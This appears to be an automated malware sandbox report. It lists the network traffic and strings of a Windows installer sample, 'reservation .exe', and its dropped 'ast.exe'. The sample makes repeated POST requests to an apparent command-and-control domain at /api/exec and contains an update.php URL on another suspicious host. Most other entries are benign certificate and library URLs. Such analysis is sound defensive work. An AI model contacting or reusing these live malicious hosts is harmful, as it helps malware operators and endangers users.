Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269

Source: Joe Sandbox View

IP Address: 212.193.169.65 212.193.169.65

Source: Joe Sandbox View

JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Code function: 10_2_6B6F09F0 recv,send,WSAGetLastError,

10_2_6B6F09F0

Source: global traffic

DNS traffic detected: DNS query: id.xn--80akicokc0aablc.xn--p1ai

Source: unknown

HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269

Source: reservation .exe, 00000000.00000003.2036017646.0000000002640000.00000004.00001000.00020000.00000000.sdmp, reservation .tmp, 00000002.00000003.2041310250.00000000034D0000.00000004.00001000.00020000.00000000.sdmp, reservation .tmp, 00000002.00000003.2043757118.0000000000BC0000.00000004.00001000.00020000.00000000.sdmp, reservation .tmp, 00000002.00000003.2043757118.0000000000C25000.00000004.00001000.00020000.00000000.sdmp, reservation .exe, 00000003.00000003.2459283655.0000000002245000.00000004.00001000.00020000.00000000.sdmp, reservation .tmp, 00000004.00000003.2454431247.00000000037A0000.00000004.00001000.00020000.00000000.sdmp, reservation .tmp, 00000004.00000003.2454431247.000000000372F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1/innosetup/index.htm
Source: reservation .exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: reservation .exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: reservation .exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455548445.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2457697380.000000000315E000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455975979.00000000030FC000.00000004.00000020.00020000.00000000.sdmp, aw_sas32.dll.8.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455548445.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2457697380.000000000315E000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455975979.00000000030FC000.00000004.00000020.00020000.00000000.sdmp, aw_sas32.dll.8.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: reservation .exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: reservation .exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: ast.exe, 0000000A.00000003.2895606355.0000000005BD1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265017891.0000000005C86000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299122357.0000000005C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr6alphasslca2023.crl0G
Source: ast.exe, 0000000A.00000003.2895606355.0000000005BD1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3183555638.0000000005BEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: reservation .exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: reservation .exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: reservation .exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: reservation .tmp, 00000004.00000003.2454431247.000000000372F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://jrsoftware.github.io/issrc/ISHelp/isxfunc.xml
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455548445.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2457697380.000000000315E000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455975979.00000000030FC000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, aw_sas32.dll.8.dr, is-8MMT6.tmp.4.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: reservation .exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: reservation .exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: reservation .exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: reservation .exe	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: reservation .exe	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: ast.exe, 0000000A.00000003.2895606355.0000000005BD1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265017891.0000000005C86000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299122357.0000000005C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr6alphasslca20230W
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: ast.exe, 0000000A.00000003.2895606355.0000000005BD1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3183555638.0000000005BEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr60;
Source: ast.exe, 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types
Source: ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/exe
Source: reservation .exe	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: reservation .exe	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: ast.exe, 0000000A.00000003.2895606355.0000000005BD1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265017891.0000000005C86000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299122357.0000000005C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr6alphasslca2023.crt0
Source: ast.exe, 0000000A.00000003.2895606355.0000000005BD1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3183555638.0000000005BEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/root-r6.crt06
Source: ast.exe, 0000000A.00000002.3307409011.0000000002A40000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2872296448.0000000002790000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000C.00000002.2955493951.0000000002850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://solicecare.website/de37/update.php
Source: ast.exe, 0000000C.00000002.2955493951.0000000002850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://solicecare.website/de37/update.phph?
Source: ast.exe, 0000000B.00000002.2872296448.0000000002790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://solicecare.website/de37/update.phpr
Source: ast.exe, 0000000A.00000002.3306161257.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2871829583.0000000000D98000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000C.00000002.2954858422.0000000000C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Types
Source: ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Types.
Source: ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/TypesE
Source: ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesbcrypt
Source: ast.exe, 0000000B.00000002.2871829583.0000000000D98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesn
Source: ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesu
Source: ast.exe, 0000000A.00000002.3306161257.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesw
Source: ast.exe, 0000000B.00000002.2871829583.0000000000D98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesy
Source: ast.exe, 0000000C.00000003.2953257211.0000000002DDD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: ast.exe, 0000000A.00000000.2730281368.0000000000942000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.openssl.org/)
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2457697380.000000000314A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/V
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2873934994.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: ast.exe, 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/V
Source: ast.exe, 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/docs/copyright.htmlD
Source: ast.exe, ast.exe, 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: ast.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html#
Source: ast.exe, 0000000A.00000000.2730281368.0000000000942000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1524/
Source: ast.exe, 0000000A.00000000.2730281368.0000000000942000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1526/
Source: ast.exe, 0000000A.00000000.2730281368.0000000000942000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1914/
Source: ast.exe, 0000000A.00000003.3299966293.0000000005BF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.x
Source: ast.exe, 0000000A.00000003.3183555638.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2835183941.0000000005C31000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2895606355.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C23000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914485845.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn-
Source: ast.exe, 0000000A.00000003.3035050247.0000000005C35000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2784241804.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3073381090.0000000005C35000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005C68000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3007753831.0000000005C36000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265864125.0000000005C70000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914485845.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aa
Source: ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3324461869.0000000006A0C000.00000004.00000001.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3337372696.000000006C946000.00000004.00000001.01000000.0000000F.sdmp, ast.exe, 0000000A.00000003.2835407797.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3073203061.0000000005C5B000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005BF2000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3034431813.0000000005C80000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3300702932.0000000005C69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai
Source: ast.exe, 0000000A.00000002.3307636336.0000000002EF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai)
Source: ast.exe, 0000000A.00000003.2784241804.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai.dll/
Source: ast.exe, 0000000A.00000003.3299122357.0000000005C68000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3322683873.0000000005C68000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3300702932.0000000005C69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai.dllC;1
Source: ast.exe, 0000000A.00000003.2914715160.0000000005BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai.dllI
Source: ast.exe, 0000000A.00000003.3267513698.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005BF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai.dllM
Source: ast.exe, 0000000A.00000002.3306161257.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai00
Source: ast.exe, 0000000A.00000002.3306161257.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai3
Source: ast.exe, 0000000A.00000003.3034764637.0000000005C3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai4j1
Source: ast.exe, 0000000A.00000003.3299966293.0000000005C3D000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3321452635.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2835407797.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005C35000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2807629713.0000000005C27000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914306157.0000000005C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443
Source: ast.exe, 0000000A.00000003.3073381090.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443-
Source: ast.exe, 0000000A.00000002.3324461869.0000000006A0C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443...
Source: ast.exe, 0000000A.00000002.3307636336.0000000002EE3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443...43
Source: ast.exe, 0000000A.00000002.3307636336.0000000002EE3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443...4335AW
Source: ast.exe, 0000000A.00000003.3299966293.0000000005C39000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3183555638.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3321452635.0000000005C39000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/
Source: ast.exe, 0000000A.00000003.3007753831.0000000005C36000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3322683873.0000000005C9D000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3320611390.0000000005BE5000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C3D000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3300835223.0000000005BEC000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914306157.0000000005C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec
Source: ast.exe, 0000000A.00000003.3299966293.0000000005C39000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3321452635.0000000005C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/stClnD956C
Source: ast.exe, 0000000A.00000003.3183555638.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/stClnstCln
Source: ast.exe, 0000000A.00000003.2914485845.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:4432
Source: ast.exe, 0000000A.00000003.3073381090.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3307636336.0000000002EEB000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C23000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914485845.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335
Source: ast.exe, 0000000A.00000002.3309198121.0000000003122000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335-
Source: ast.exe, 0000000A.00000002.3309198121.000000000311B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335...
Source: ast.exe, 0000000A.00000002.3307636336.0000000002EEB000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335y
Source: ast.exe, 0000000A.00000003.3299966293.0000000005C3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:4439c0
Source: ast.exe, 0000000A.00000003.3007753831.0000000005C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443ata
